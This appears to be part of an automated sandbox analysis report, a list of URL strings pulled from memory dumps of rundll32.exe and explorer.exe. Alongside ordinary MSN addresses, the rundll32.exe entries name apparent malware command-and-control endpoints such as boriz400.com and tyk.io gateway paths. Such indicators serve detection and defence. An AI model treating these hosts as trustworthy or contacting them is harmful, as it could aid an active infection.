Source: rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/content.php.f
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/content.phpGf
Source: rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/d
Source: rundll32.exe, 00000012.00000003.2415718994.00000292115AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/db-53011b87bd06
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/ic
Source: explorer.exe, 00000016.00000000.1847916203.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000016.00000000.1847916203.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000016.00000000.1845325737.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2938934418.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2937197092.0000000001248000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1844548016.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000016.00000000.1847916203.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000016.00000000.1847916203.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000016.00000000.1847916203.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: rundll32.exe, 00000012.00000003.2397236802.00000292115AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boriz400.com/
Source: rundll32.exe, 00000012.00000003.2810418995.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284190577.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921159E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311847302.000002921159F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boriz400.com/api/azure
Source: rundll32.exe, 00000012.00000003.2762031046.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.00000292115BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882651450.00000292115BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.00000292115BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284190577.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311847302.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.00000292115AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boriz400.com/api/azure8
Source: rundll32.exe, 00000012.00000003.2762031046.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.00000292115BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882651450.00000292115BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.00000292115BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284190577.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311847302.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.00000292115AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boriz400.com/api/azurey
Source: rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boriz400.com/content.php
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boriz400.com/qa
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000016.00000000.1846357884.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000016.00000000.1846357884.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000016.00000002.2945125604.000000000B4AE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://illoskanawer.com/live/
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000016.00000000.1846357884.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: rundll32.exe, 00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882651450.00000292115BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/
Source: rundll32.exe, 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/api/azure
Source: rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.php
Source: rundll32.exe, 00000012.00000003.2284190577.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311847302.000002921159F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.php4
Source: rundll32.exe, 00000012.00000003.2284190577.00000292115AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpA
Source: rundll32.exe, 00000012.00000003.2810418995.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921159F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpL
Source: rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpLgF
Source: rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpMfE
Source: rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/n
Source: explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/
Source: rundll32.exe, 00000012.00000003.2810418995.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.00000292115EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/5/
Source: rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/F
Source: rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure
Source: rundll32.exe, 00000012.00000002.2938154508.00000292115EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure(
Source: rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure.php
Source: rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure/j
Source: rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure4
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810618243.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure=
Source: rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azureY
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810618243.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurej
Source: rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurent.php
Source: rundll32.exe, 00000012.00000003.2810618243.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurep&j
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurep1j
Source: rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurep://www.
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurepP
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurepjB
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.00000292115EE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810618243.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php
Source: rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php&j
Source: rundll32.exe, 00000012.00000003.2311970800.00000292115EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php(
